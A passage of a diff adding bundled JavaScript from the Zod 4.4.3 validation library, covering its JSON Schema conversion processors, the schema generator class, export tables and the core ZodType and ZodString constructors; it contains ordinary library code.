json3.minimum = exclusiveMinimum; + json3.exclusiveMinimum = true; + } else { + json3.exclusiveMinimum = exclusiveMinimum; + } + } else if (typeof minimum === "number") { + json3.minimum = minimum; + } + if (exMax) { + if (legacy) { + json3.maximum = exclusiveMaximum; + json3.exclusiveMaximum = true; + } else { + json3.exclusiveMaximum = exclusiveMaximum; + } + } else if (typeof maximum === "number") { + json3.maximum = maximum; + } + if (typeof multipleOf === "number") + json3.multipleOf = multipleOf; +}; +var booleanProcessor = (_schema, _ctx, json3, _params) => { + json3.type = "boolean"; +}; +var bigintProcessor = (_schema, ctx, _json, _params) => { + if (ctx.unrepresentable === "throw") { + throw new Error("BigInt cannot be represented in JSON Schema"); + } +}; +var symbolProcessor = (_schema, ctx, _json, _params) => { + if (ctx.unrepresentable === "throw") { + throw new Error("Symbols cannot be represented in JSON Schema"); + } +}; +var nullProcessor = (_schema, ctx, json3, _params) => { + if (ctx.target === "openapi-3.0") { + json3.type = "string"; + json3.nullable = true; + json3.enum = [null]; + } else { + json3.type = "null"; + } +}; +var undefinedProcessor = (_schema, ctx, _json, _params) => { + if (ctx.unrepresentable === "throw") { + throw new Error("Undefined cannot be represented in JSON Schema"); + } +}; +var voidProcessor = (_schema, ctx, _json, _params) => { + if (ctx.unrepresentable === "throw") { + throw new Error("Void cannot be represented in JSON Schema"); + } +}; +var neverProcessor = (_schema, _ctx, json3, _params) => { + json3.not = {}; +}; +var anyProcessor = (_schema, _ctx, _json, _params) => { +}; +var unknownProcessor = (_schema, _ctx, _json, _params) => { +}; +var dateProcessor = (_schema, ctx, _json, _params) => { + if (ctx.unrepresentable === "throw") { + throw new Error("Date cannot be represented in JSON Schema"); + } +}; +var enumProcessor = (schema, _ctx, json3, _params) => { + const def = schema._zod.def; + const values2 = getEnumValues(def.entries); + if (values2.every((v) => typeof v === "number")) + json3.type = "number"; + if (values2.every((v) => typeof v === "string")) + json3.type = "string"; + json3.enum = values2; +}; +var literalProcessor = (schema, ctx, json3, _params) => { + const def = schema._zod.def; + const vals = []; + for (const val of def.values) { + if (val === void 0) { + if (ctx.unrepresentable === "throw") { + throw new Error("Literal `undefined` cannot be represented in JSON Schema"); + } else { + } + } else if (typeof val === "bigint") { + if (ctx.unrepresentable === "throw") { + throw new Error("BigInt literals cannot be represented in JSON Schema"); + } else { + vals.push(Number(val)); + } + } else { + vals.push(val); + } + } + if (vals.length === 0) { + } else if (vals.length === 1) { + const val = vals[0]; + json3.type = val === null ? "null" : typeof val; + if (ctx.target === "draft-04" || ctx.target === "openapi-3.0") { + json3.enum = [val]; + } else { + json3.const = val; + } + } else { + if (vals.every((v) => typeof v === "number")) + json3.type = "number"; + if (vals.every((v) => typeof v === "string")) + json3.type = "string"; + if (vals.every((v) => typeof v === "boolean")) + json3.type = "boolean"; + if (vals.every((v) => v === null)) + json3.type = "null"; + json3.enum = vals; + } +}; +var nanProcessor = (_schema, ctx, _json, _params) => { + if (ctx.unrepresentable === "throw") { + throw new Error("NaN cannot be represented in JSON Schema"); + } +}; +var templateLiteralProcessor = (schema, _ctx, json3, _params) => { + const _json = json3; + const pattern = schema._zod.pattern; + if (!pattern) + throw new Error("Pattern not found in template literal"); + _json.type = "string"; + _json.pattern = pattern.source; +}; +var fileProcessor = (schema, _ctx, json3, _params) => { + const _json = json3; + const file2 = { + type: "string", + format: "binary", + contentEncoding: "binary" + }; + const { minimum, maximum, mime } = schema._zod.bag; + if (minimum !== void 0) + file2.minLength = minimum; + if (maximum !== void 0) + file2.maxLength = maximum; + if (mime) { + if (mime.length === 1) { + file2.contentMediaType = mime[0]; + Object.assign(_json, file2); + } else { + Object.assign(_json, file2); + _json.anyOf = mime.map((m) => ({ contentMediaType: m })); + } + } else { + Object.assign(_json, file2); + } +}; +var successProcessor = (_schema, _ctx, json3, _params) => { + json3.type = "boolean"; +}; +var customProcessor = (_schema, ctx, _json, _params) => { + if (ctx.unrepresentable === "throw") { + throw new Error("Custom types cannot be represented in JSON Schema"); + } +}; +var functionProcessor = (_schema, ctx, _json, _params) => { + if (ctx.unrepresentable === "throw") { + throw new Error("Function types cannot be represented in JSON Schema"); + } +}; +var transformProcessor = (_schema, ctx, _json, _params) => { + if (ctx.unrepresentable === "throw") { + throw new Error("Transforms cannot be represented in JSON Schema"); + } +}; +var mapProcessor = (_schema, ctx, _json, _params) => { + if (ctx.unrepresentable === "throw") { + throw new Error("Map cannot be represented in JSON Schema"); + } +}; +var setProcessor = (_schema, ctx, _json, _params) => { + if (ctx.unrepresentable === "throw") { + throw new Error("Set cannot be represented in JSON Schema"); + } +}; +var arrayProcessor = (schema, ctx, _json, params) => { + const json3 = _json; + const def = schema._zod.def; + const { minimum, maximum } = schema._zod.bag; + if (typeof minimum === "number") + json3.minItems = minimum; + if (typeof maximum === "number") + json3.maxItems = maximum; + json3.type = "array"; + json3.items = process2(def.element, ctx, { + ...params, + path: [...params.path, "items"] + }); +}; +var objectProcessor = (schema, ctx, _json, params) => { + const json3 = _json; + const def = schema._zod.def; + json3.type = "object"; + json3.properties = {}; + const shape = def.shape; + for (const key in shape) { + json3.properties[key] = process2(shape[key], ctx, { + ...params, + path: [...params.path, "properties", key] + }); + } + const allKeys = new Set(Object.keys(shape)); + const requiredKeys = new Set([...allKeys].filter((key) => { + const v = def.shape[key]._zod; + if (ctx.io === "input") { + return v.optin === void 0; + } else { + return v.optout === void 0; + } + })); + if (requiredKeys.size > 0) { + json3.required = Array.from(requiredKeys); + } + if (def.catchall?._zod.def.type === "never") { + json3.additionalProperties = false; + } else if (!def.catchall) { + if (ctx.io === "output") + json3.additionalProperties = false; + } else if (def.catchall) { + json3.additionalProperties = process2(def.catchall, ctx, { + ...params, + path: [...params.path, "additionalProperties"] + }); + } +}; +var unionProcessor = (schema, ctx, json3, params) => { + const def = schema._zod.def; + const isExclusive = def.inclusive === false; + const options = def.options.map((x, i) => process2(x, ctx, { + ...params, + path: [...params.path, isExclusive ? "oneOf" : "anyOf", i] + })); + if (isExclusive) { + json3.oneOf = options; + } else { + json3.anyOf = options; + } +}; +var intersectionProcessor = (schema, ctx, json3, params) => { + const def = schema._zod.def; + const a = process2(def.left, ctx, { + ...params, + path: [...params.path, "allOf", 0] + }); + const b2 = process2(def.right, ctx, { + ...params, + path: [...params.path, "allOf", 1] + }); + const isSimpleIntersection = (val) => "allOf" in val && Object.keys(val).length === 1; + const allOf = [ + ...isSimpleIntersection(a) ? a.allOf : [a], + ...isSimpleIntersection(b2) ? b2.allOf : [b2] + ]; + json3.allOf = allOf; +}; +var tupleProcessor = (schema, ctx, _json, params) => { + const json3 = _json; + const def = schema._zod.def; + json3.type = "array"; + const prefixPath = ctx.target === "draft-2020-12" ? "prefixItems" : "items"; + const restPath = ctx.target === "draft-2020-12" ? "items" : ctx.target === "openapi-3.0" ? "items" : "additionalItems"; + const prefixItems = def.items.map((x, i) => process2(x, ctx, { + ...params, + path: [...params.path, prefixPath, i] + })); + const rest = def.rest ? process2(def.rest, ctx, { + ...params, + path: [...params.path, restPath, ...ctx.target === "openapi-3.0" ? [def.items.length] : []] + }) : null; + if (ctx.target === "draft-2020-12") { + json3.prefixItems = prefixItems; + if (rest) { + json3.items = rest; + } + } else if (ctx.target === "openapi-3.0") { + json3.items = { + anyOf: prefixItems + }; + if (rest) { + json3.items.anyOf.push(rest); + } + json3.minItems = prefixItems.length; + if (!rest) { + json3.maxItems = prefixItems.length; + } + } else { + json3.items = prefixItems; + if (rest) { + json3.additionalItems = rest; + } + } + const { minimum, maximum } = schema._zod.bag; + if (typeof minimum === "number") + json3.minItems = minimum; + if (typeof maximum === "number") + json3.maxItems = maximum; +}; +var recordProcessor = (schema, ctx, _json, params) => { + const json3 = _json; + const def = schema._zod.def; + json3.type = "object"; + const keyType = def.keyType; + const keyBag = keyType._zod.bag; + const patterns = keyBag?.patterns; + if (def.mode === "loose" && patterns && patterns.size > 0) { + const valueSchema = process2(def.valueType, ctx, { + ...params, + path: [...params.path, "patternProperties", "*"] + }); + json3.patternProperties = {}; + for (const pattern of patterns) { + json3.patternProperties[pattern.source] = valueSchema; + } + } else { + if (ctx.target === "draft-07" || ctx.target === "draft-2020-12") { + json3.propertyNames = process2(def.keyType, ctx, { + ...params, + path: [...params.path, "propertyNames"] + }); + } + json3.additionalProperties = process2(def.valueType, ctx, { + ...params, + path: [...params.path, "additionalProperties"] + }); + } + const keyValues = keyType._zod.values; + if (keyValues) { + const validKeyValues = [...keyValues].filter((v) => typeof v === "string" || typeof v === "number"); + if (validKeyValues.length > 0) { + json3.required = validKeyValues; + } + } +}; +var nullableProcessor = (schema, ctx, json3, params) => { + const def = schema._zod.def; + const inner = process2(def.innerType, ctx, params); + const seen = ctx.seen.get(schema); + if (ctx.target === "openapi-3.0") { + seen.ref = def.innerType; + json3.nullable = true; + } else { + json3.anyOf = [inner, { type: "null" }]; + } +}; +var nonoptionalProcessor = (schema, ctx, _json, params) => { + const def = schema._zod.def; + process2(def.innerType, ctx, params); + const seen = ctx.seen.get(schema); + seen.ref = def.innerType; +}; +var defaultProcessor = (schema, ctx, json3, params) => { + const def = schema._zod.def; + process2(def.innerType, ctx, params); + const seen = ctx.seen.get(schema); + seen.ref = def.innerType; + json3.default = JSON.parse(JSON.stringify(def.defaultValue)); +}; +var prefaultProcessor = (schema, ctx, json3, params) => { + const def = schema._zod.def; + process2(def.innerType, ctx, params); + const seen = ctx.seen.get(schema); + seen.ref = def.innerType; + if (ctx.io === "input") + json3._prefault = JSON.parse(JSON.stringify(def.defaultValue)); +}; +var catchProcessor = (schema, ctx, json3, params) => { + const def = schema._zod.def; + process2(def.innerType, ctx, params); + const seen = ctx.seen.get(schema); + seen.ref = def.innerType; + let catchValue; + try { + catchValue = def.catchValue(void 0); + } catch { + throw new Error("Dynamic catch values are not supported in JSON Schema"); + } + json3.default = catchValue; +}; +var pipeProcessor = (schema, ctx, _json, params) => { + const def = schema._zod.def; + const inIsTransform = def.in._zod.traits.has("$ZodTransform"); + const innerType = ctx.io === "input" ? inIsTransform ? def.out : def.in : def.out; + process2(innerType, ctx, params); + const seen = ctx.seen.get(schema); + seen.ref = innerType; +}; +var readonlyProcessor = (schema, ctx, json3, params) => { + const def = schema._zod.def; + process2(def.innerType, ctx, params); + const seen = ctx.seen.get(schema); + seen.ref = def.innerType; + json3.readOnly = true; +}; +var promiseProcessor = (schema, ctx, _json, params) => { + const def = schema._zod.def; + process2(def.innerType, ctx, params); + const seen = ctx.seen.get(schema); + seen.ref = def.innerType; +}; +var optionalProcessor = (schema, ctx, _json, params) => { + const def = schema._zod.def; + process2(def.innerType, ctx, params); + const seen = ctx.seen.get(schema); + seen.ref = def.innerType; +}; +var lazyProcessor = (schema, ctx, _json, params) => { + const innerType = schema._zod.innerType; + process2(innerType, ctx, params); + const seen = ctx.seen.get(schema); + seen.ref = innerType; +}; +var allProcessors = { + string: stringProcessor, + number: numberProcessor, + boolean: booleanProcessor, + bigint: bigintProcessor, + symbol: symbolProcessor, + null: nullProcessor, + undefined: undefinedProcessor, + void: voidProcessor, + never: neverProcessor, + any: anyProcessor, + unknown: unknownProcessor, + date: dateProcessor, + enum: enumProcessor, + literal: literalProcessor, + nan: nanProcessor, + template_literal: templateLiteralProcessor, + file: fileProcessor, + success: successProcessor, + custom: customProcessor, + function: functionProcessor, + transform: transformProcessor, + map: mapProcessor, + set: setProcessor, + array: arrayProcessor, + object: objectProcessor, + union: unionProcessor, + intersection: intersectionProcessor, + tuple: tupleProcessor, + record: recordProcessor, + nullable: nullableProcessor, + nonoptional: nonoptionalProcessor, + default: defaultProcessor, + prefault: prefaultProcessor, + catch: catchProcessor, + pipe: pipeProcessor, + readonly: readonlyProcessor, + promise: promiseProcessor, + optional: optionalProcessor, + lazy: lazyProcessor +}; +function toJSONSchema(input, params) { + if ("_idmap" in input) { + const registry2 = input; + const ctx2 = initializeContext({ ...params, processors: allProcessors }); + const defs = {}; + for (const entry of registry2._idmap.entries()) { + const [_, schema] = entry; + process2(schema, ctx2); + } + const schemas = {}; + const external = { + registry: registry2, + uri: params?.uri, + defs + }; + ctx2.external = external; + for (const entry of registry2._idmap.entries()) { + const [key, schema] = entry; + extractDefs(ctx2, schema); + schemas[key] = finalize(ctx2, schema); + } + if (Object.keys(defs).length > 0) { + const defsSegment = ctx2.target === "draft-2020-12" ? "$defs" : "definitions"; + schemas.__shared = { + [defsSegment]: defs + }; + } + return { schemas }; + } + const ctx = initializeContext({ ...params, processors: allProcessors }); + process2(input, ctx); + extractDefs(ctx, input); + return finalize(ctx, input); +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-generator.js +var JSONSchemaGenerator = class { + /** @deprecated Access via ctx instead */ + get metadataRegistry() { + return this.ctx.metadataRegistry; + } + /** @deprecated Access via ctx instead */ + get target() { + return this.ctx.target; + } + /** @deprecated Access via ctx instead */ + get unrepresentable() { + return this.ctx.unrepresentable; + } + /** @deprecated Access via ctx instead */ + get override() { + return this.ctx.override; + } + /** @deprecated Access via ctx instead */ + get io() { + return this.ctx.io; + } + /** @deprecated Access via ctx instead */ + get counter() { + return this.ctx.counter; + } + set counter(value) { + this.ctx.counter = value; + } + /** @deprecated Access via ctx instead */ + get seen() { + return this.ctx.seen; + } + constructor(params) { + let normalizedTarget = params?.target ?? "draft-2020-12"; + if (normalizedTarget === "draft-4") + normalizedTarget = "draft-04"; + if (normalizedTarget === "draft-7") + normalizedTarget = "draft-07"; + this.ctx = initializeContext({ + processors: allProcessors, + target: normalizedTarget, + ...params?.metadata && { metadata: params.metadata }, + ...params?.unrepresentable && { unrepresentable: params.unrepresentable }, + ...params?.override && { override: params.override }, + ...params?.io && { io: params.io } + }); + } + /** + * Process a schema to prepare it for JSON Schema generation. + * This must be called before emit(). + */ + process(schema, _params = { path: [], schemaPath: [] }) { + return process2(schema, this.ctx, _params); + } + /** + * Emit the final JSON Schema after processing. + * Must call process() first. + */ + emit(schema, _params) { + if (_params) { + if (_params.cycles) + this.ctx.cycles = _params.cycles; + if (_params.reused) + this.ctx.reused = _params.reused; + if (_params.external) + this.ctx.external = _params.external; + } + extractDefs(this.ctx, schema); + const result = finalize(this.ctx, schema); + const { "~standard": _, ...plainResult } = result; + return plainResult; + } +}; + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema.js +var json_schema_exports = {}; + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js +var schemas_exports2 = {}; +__export(schemas_exports2, { + ZodAny: () => ZodAny, + ZodArray: () => ZodArray, + ZodBase64: () => ZodBase64, + ZodBase64URL: () => ZodBase64URL, + ZodBigInt: () => ZodBigInt, + ZodBigIntFormat: () => ZodBigIntFormat, + ZodBoolean: () => ZodBoolean, + ZodCIDRv4: () => ZodCIDRv4, + ZodCIDRv6: () => ZodCIDRv6, + ZodCUID: () => ZodCUID, + ZodCUID2: () => ZodCUID2, + ZodCatch: () => ZodCatch, + ZodCodec: () => ZodCodec, + ZodCustom: () => ZodCustom, + ZodCustomStringFormat: () => ZodCustomStringFormat, + ZodDate: () => ZodDate, + ZodDefault: () => ZodDefault, + ZodDiscriminatedUnion: () => ZodDiscriminatedUnion, + ZodE164: () => ZodE164, + ZodEmail: () => ZodEmail, + ZodEmoji: () => ZodEmoji, + ZodEnum: () => ZodEnum, + ZodExactOptional: () => ZodExactOptional, + ZodFile: () => ZodFile, + ZodFunction: () => ZodFunction, + ZodGUID: () => ZodGUID, + ZodIPv4: () => ZodIPv4, + ZodIPv6: () => ZodIPv6, + ZodIntersection: () => ZodIntersection, + ZodJWT: () => ZodJWT, + ZodKSUID: () => ZodKSUID, + ZodLazy: () => ZodLazy, + ZodLiteral: () => ZodLiteral, + ZodMAC: () => ZodMAC, + ZodMap: () => ZodMap, + ZodNaN: () => ZodNaN, + ZodNanoID: () => ZodNanoID, + ZodNever: () => ZodNever, + ZodNonOptional: () => ZodNonOptional, + ZodNull: () => ZodNull, + ZodNullable: () => ZodNullable, + ZodNumber: () => ZodNumber, + ZodNumberFormat: () => ZodNumberFormat, + ZodObject: () => ZodObject, + ZodOptional: () => ZodOptional, + ZodPipe: () => ZodPipe, + ZodPrefault: () => ZodPrefault, + ZodPreprocess: () => ZodPreprocess, + ZodPromise: () => ZodPromise, + ZodReadonly: () => ZodReadonly, + ZodRecord: () => ZodRecord, + ZodSet: () => ZodSet, + ZodString: () => ZodString, + ZodStringFormat: () => ZodStringFormat, + ZodSuccess: () => ZodSuccess, + ZodSymbol: () => ZodSymbol, + ZodTemplateLiteral: () => ZodTemplateLiteral, + ZodTransform: () => ZodTransform, + ZodTuple: () => ZodTuple, + ZodType: () => ZodType, + ZodULID: () => ZodULID, + ZodURL: () => ZodURL, + ZodUUID: () => ZodUUID, + ZodUndefined: () => ZodUndefined, + ZodUnion: () => ZodUnion, + ZodUnknown: () => ZodUnknown, + ZodVoid: () => ZodVoid, + ZodXID: () => ZodXID, + ZodXor: () => ZodXor, + _ZodString: () => _ZodString, + _default: () => _default2, + _function: () => _function, + any: () => any, + array: () => array, + base64: () => base642, + base64url: () => base64url2, + bigint: () => bigint2, + boolean: () => boolean2, + catch: () => _catch2, + check: () => check, + cidrv4: () => cidrv42, + cidrv6: () => cidrv62, + codec: () => codec, + cuid: () => cuid3, + cuid2: () => cuid22, + custom: () => custom, + date: () => date3, + describe: () => describe2, + discriminatedUnion: () => discriminatedUnion, + e164: () => e1642, + email: () => email2, + emoji: () => emoji2, + enum: () => _enum2, + exactOptional: () => exactOptional, + file: () => file, + float32: () => float32, + float64: () => float64, + function: () => _function, + guid: () => guid2, + hash: () => hash, + hex: () => hex2, + hostname: () => hostname2, + httpUrl: () => httpUrl, + instanceof: () => _instanceof, + int: () => int, + int32: () => int32, + int64: () => int64, + intersection: () => intersection, + invertCodec: () => invertCodec, + ipv4: () => ipv42, + ipv6: () => ipv62, + json: () => json, + jwt: () => jwt, + keyof: () => keyof, + ksuid: () => ksuid2, + lazy: () => lazy, + literal: () => literal, + looseObject: () => looseObject, + looseRecord: () => looseRecord, + mac: () => mac2, + map: () => map, + meta: () => meta2, + nan: () => nan, + nanoid: () => nanoid2, + nativeEnum: () => nativeEnum, + never: () => never, + nonoptional: () => nonoptional, + null: () => _null3, + nullable: () => nullable, + nullish: () => nullish2, + number: () => number2, + object: () => object, + optional: () => optional, + partialRecord: () => partialRecord, + pipe: () => pipe, + prefault: () => prefault, + preprocess: () => preprocess, + promise: () => promise, + readonly: () => readonly, + record: () => record, + refine: () => refine, + set: () => set, + strictObject: () => strictObject, + string: () => string2, + stringFormat: () => stringFormat, + stringbool: () => stringbool, + success: () => success, + superRefine: () => superRefine, + symbol: () => symbol, + templateLiteral: () => templateLiteral, + transform: () => transform, + tuple: () => tuple, + uint32: () => uint32, + uint64: () => uint64, + ulid: () => ulid2, + undefined: () => _undefined3, + union: () => union, + unknown: () => unknown, + url: () => url, + uuid: () => uuid2, + uuidv4: () => uuidv4, + uuidv6: () => uuidv6, + uuidv7: () => uuidv7, + void: () => _void2, + xid: () => xid2, + xor: () => xor +}); + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/checks.js +var checks_exports2 = {}; +__export(checks_exports2, { + endsWith: () => _endsWith, + gt: () => _gt, + gte: () => _gte, + includes: () => _includes, + length: () => _length, + lowercase: () => _lowercase, + lt: () => _lt, + lte: () => _lte, + maxLength: () => _maxLength, + maxSize: () => _maxSize, + mime: () => _mime, + minLength: () => _minLength, + minSize: () => _minSize, + multipleOf: () => _multipleOf, + negative: () => _negative, + nonnegative: () => _nonnegative, + nonpositive: () => _nonpositive, + normalize: () => _normalize, + overwrite: () => _overwrite, + positive: () => _positive, + property: () => _property, + regex: () => _regex, + size: () => _size, + slugify: () => _slugify, + startsWith: () => _startsWith, + toLowerCase: () => _toLowerCase, + toUpperCase: () => _toUpperCase, + trim: () => _trim, + uppercase: () => _uppercase +}); + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/iso.js +var iso_exports = {}; +__export(iso_exports, { + ZodISODate: () => ZodISODate, + ZodISODateTime: () => ZodISODateTime, + ZodISODuration: () => ZodISODuration, + ZodISOTime: () => ZodISOTime, + date: () => date2, + datetime: () => datetime2, + duration: () => duration2, + time: () => time2 +}); +var ZodISODateTime = /* @__PURE__ */ $constructor("ZodISODateTime", (inst, def) => { + $ZodISODateTime.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function datetime2(params) { + return _isoDateTime(ZodISODateTime, params); +} +var ZodISODate = /* @__PURE__ */ $constructor("ZodISODate", (inst, def) => { + $ZodISODate.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function date2(params) { + return _isoDate(ZodISODate, params); +} +var ZodISOTime = /* @__PURE__ */ $constructor("ZodISOTime", (inst, def) => { + $ZodISOTime.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function time2(params) { + return _isoTime(ZodISOTime, params); +} +var ZodISODuration = /* @__PURE__ */ $constructor("ZodISODuration", (inst, def) => { + $ZodISODuration.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function duration2(params) { + return _isoDuration(ZodISODuration, params); +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/errors.js +var initializer2 = (inst, issues) => { + $ZodError.init(inst, issues); + inst.name = "ZodError"; + Object.defineProperties(inst, { + format: { + value: (mapper) => formatError(inst, mapper) + // enumerable: false, + }, + flatten: { + value: (mapper) => flattenError(inst, mapper) + // enumerable: false, + }, + addIssue: { + value: (issue2) => { + inst.issues.push(issue2); + inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2); + } + // enumerable: false, + }, + addIssues: { + value: (issues2) => { + inst.issues.push(...issues2); + inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2); + } + // enumerable: false, + }, + isEmpty: { + get() { + return inst.issues.length === 0; + } + // enumerable: false, + } + }); +}; +var ZodError = /* @__PURE__ */ $constructor("ZodError", initializer2); +var ZodRealError = /* @__PURE__ */ $constructor("ZodError", initializer2, { + Parent: Error +}); + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/parse.js +var parse2 = /* @__PURE__ */ _parse(ZodRealError); +var parseAsync2 = /* @__PURE__ */ _parseAsync(ZodRealError); +var safeParse2 = /* @__PURE__ */ _safeParse(ZodRealError); +var safeParseAsync2 = /* @__PURE__ */ _safeParseAsync(ZodRealError); +var encode3 = /* @__PURE__ */ _encode(ZodRealError); +var decode3 = /* @__PURE__ */ _decode(ZodRealError); +var encodeAsync2 = /* @__PURE__ */ _encodeAsync(ZodRealError); +var decodeAsync2 = /* @__PURE__ */ _decodeAsync(ZodRealError); +var safeEncode2 = /* @__PURE__ */ _safeEncode(ZodRealError); +var safeDecode2 = /* @__PURE__ */ _safeDecode(ZodRealError); +var safeEncodeAsync2 = /* @__PURE__ */ _safeEncodeAsync(ZodRealError); +var safeDecodeAsync2 = /* @__PURE__ */ _safeDecodeAsync(ZodRealError); + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js +var _installedGroups = /* @__PURE__ */ new WeakMap(); +function _installLazyMethods(inst, group, methods) { + const proto = Object.getPrototypeOf(inst); + let installed = _installedGroups.get(proto); + if (!installed) { + installed = /* @__PURE__ */ new Set(); + _installedGroups.set(proto, installed); + } + if (installed.has(group)) + return; + installed.add(group); + for (const key in methods) { + const fn = methods[key]; + Object.defineProperty(proto, key, { + configurable: true, + enumerable: false, + get() { + const bound = fn.bind(this); + Object.defineProperty(this, key, { + configurable: true, + writable: true, + enumerable: true, + value: bound + }); + return bound; + }, + set(v) { + Object.defineProperty(this, key, { + configurable: true, + writable: true, + enumerable: true, + value: v + }); + } + }); + } +} +var ZodType = /* @__PURE__ */ $constructor("ZodType", (inst, def) => { + $ZodType.init(inst, def); + Object.assign(inst["~standard"], { + jsonSchema: { + input: createStandardJSONSchemaMethod(inst, "input"), + output: createStandardJSONSchemaMethod(inst, "output") + } + }); + inst.toJSONSchema = createToJSONSchemaMethod(inst, {}); + inst.def = def; + inst.type = def.type; + Object.defineProperty(inst, "_def", { value: def }); + inst.parse = (data, params) => parse2(inst, data, params, { callee: inst.parse }); + inst.safeParse = (data, params) => safeParse2(inst, data, params); + inst.parseAsync = async (data, params) => parseAsync2(inst, data, params, { callee: inst.parseAsync }); + inst.safeParseAsync = async (data, params) => safeParseAsync2(inst, data, params); + inst.spa = inst.safeParseAsync; + inst.encode = (data, params) => encode3(inst, data, params); + inst.decode = (data, params) => decode3(inst, data, params); + inst.encodeAsync = async (data, params) => encodeAsync2(inst, data, params); + inst.decodeAsync = async (data, params) => decodeAsync2(inst, data, params); + inst.safeEncode = (data, params) => safeEncode2(inst, data, params); + inst.safeDecode = (data, params) => safeDecode2(inst, data, params); + inst.safeEncodeAsync = async (data, params) => safeEncodeAsync2(inst, data, params); + inst.safeDecodeAsync = async (data, params) => safeDecodeAsync2(inst, data, params); + _installLazyMethods(inst, "ZodType", { + check(...chks) { + const def2 = this.def; + return this.clone(util_exports.mergeDefs(def2, { + checks: [ + ...def2.checks ?? [], + ...chks.map((ch) => typeof ch === "function" ? { _zod: { check: ch, def: { check: "custom" }, onattach: [] } } : ch) + ] + }), { parent: true }); + }, + with(...chks) { + return this.check(...chks); + }, + clone(def2, params) { + return clone(this, def2, params); + }, + brand() { + return this; + }, + register(reg, meta3) { + reg.add(this, meta3); + return this; + }, + refine(check2, params) { + return this.check(refine(check2, params)); + }, + superRefine(refinement, params) { + return this.check(superRefine(refinement, params)); + }, + overwrite(fn) { + return this.check(_overwrite(fn)); + }, + optional() { + return optional(this); + }, + exactOptional() { + return exactOptional(this); + }, + nullable() { + return nullable(this); + }, + nullish() { + return optional(nullable(this)); + }, + nonoptional(params) { + return nonoptional(this, params); + }, + array() { + return array(this); + }, + or(arg) { + return union([this, arg]); + }, + and(arg) { + return intersection(this, arg); + }, + transform(tx) { + return pipe(this, transform(tx)); + }, + default(d) { + return _default2(this, d); + }, + prefault(d) { + return prefault(this, d); + }, + catch(params) { + return _catch2(this, params); + }, + pipe(target) { + return pipe(this, target); + }, + readonly() { + return readonly(this); + }, + describe(description) { + const cl = this.clone(); + globalRegistry.add(cl, { description }); + return cl; + }, + meta(...args) { + if (args.length === 0) + return globalRegistry.get(this); + const cl = this.clone(); + globalRegistry.add(cl, args[0]); + return cl; + }, + isOptional() { + return this.safeParse(void 0).success; + }, + isNullable() { + return this.safeParse(null).success; + }, + apply(fn) { + return fn(this); + } + }); + Object.defineProperty(inst, "description", { + get() { + return globalRegistry.get(inst)?.description; + }, + configurable: true + }); + return inst; +}); +var _ZodString = /* @__PURE__ */ $constructor("_ZodString", (inst, def) => { + $ZodString.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => stringProcessor(inst, ctx, json3, params); + const bag = inst._zod.bag; + inst.format = bag.format ?? null; + inst.minLength = bag.minimum ?? null; + inst.maxLength = bag.maximum ?? null; + _installLazyMethods(inst, "_ZodString", { + regex(...args) { + return this.check(_regex(...args)); + }, + includes(...args) { + return this.check(_includes(...args)); + }, + startsWith(...args) { + return this.check(_startsWith(...args)); + }, + endsWith(...args) { + return this.check(_endsWith(...args)); + }, + min(...args) { + return this.check(_minLength(...args)); + }, + max(...args) { + return this.check(_maxLength(...args)); + }, + length(...args) { + return this.check(_length(...args)); + }, + nonempty(...args) { + return this.check(_minLength(1, ...args)); + }, + lowercase(params) { + return this.check(_lowercase(params)); + }, + uppercase(params) { + return this.check(_uppercase(params)); + }, + trim() { + return this.check(_trim()); + }, + normalize(...args) { + return this.check(_normalize(...args)); + }, + toLowerCase() { + return this.check(_toLowerCase()); + }, + toUpperCase() { + return this.check(_toUpperCase()); + }, + slugify() { + return this.check(_slugify()); + } + }); +}); +var ZodString = /* @__PURE__ */ $constructor("ZodString", (inst, def) => { + $ZodString.init(inst, def); + _ZodString.init(inst, def); + inst.email = (params) => inst.check(_email(ZodEmail, params)); + inst.url = (params) => inst.check(_url(ZodURL, params)); + inst.jwt = (params) => inst.check(_jwt(ZodJWT, params)); + inst.emoji = (params) => inst.check(_emoji2(ZodEmoji, params)); + inst.guid = (params) => inst.check(_guid(ZodGUID, params)); + inst.uuid = (params) => inst.check(_uuid(ZodUUID, params)); + inst.uuidv4 = (params) => inst.check(_uuidv4(ZodUUID, params)); + inst.uuidv6 = (params) => inst.check(_uuidv6(ZodUUID, params)); + inst.uuidv7 = (params) => inst.check(_uuidv7(ZodUUID, params)); + inst.nanoid = (params) => inst.check(_nanoid(ZodNanoID, params)); + inst.guid = (params) => inst.check(_guid(ZodGUID, params)); + inst.cuid = (params) => inst.check(_cuid(ZodCUID, params)); + inst.cuid2 = (params) => inst.check(_cuid2(ZodCUID2, params)); + inst.ulid = (params) => inst.check(_ulid(ZodULID, params)); + inst.base64 = (params) => inst.check(_base64(ZodBase64, params)); + inst.base64url = (params) => inst.check(_base64url(ZodBase64URL, params)); + inst.xid = (params) => inst.check(_xid(ZodXID, params)); + inst.ksuid = (params) => inst.check(_ksuid(ZodKSUID, params)); + inst.ipv4 = (params) => inst.check(_ipv4(ZodIPv4, params)); + inst.ipv6 = (params) => inst.check(_ipv6(ZodIPv6, params)); + inst.cidrv4 = (params) => inst.check(_cidrv4(ZodCIDRv4, params)); + inst.cidrv6 = (params) => inst.check(_cidrv6(ZodCIDRv6, params)); + inst.e164 = (params) => inst.check(_e164(ZodE164, params)); + inst.datetime = (params) => inst.check(datetime2(params)); + inst.date = (params) => inst.check(date2(params)); + inst.time = (params) => inst.check(time2(params)); + inst.duration = (params) => inst.check(duration2(params)); +}); +function string2(params) { + return _string(ZodString, params); +} +var ZodStringFormat = /* @__PURE__ */ $constructor("ZodStringFormat", (inst, def) => { + 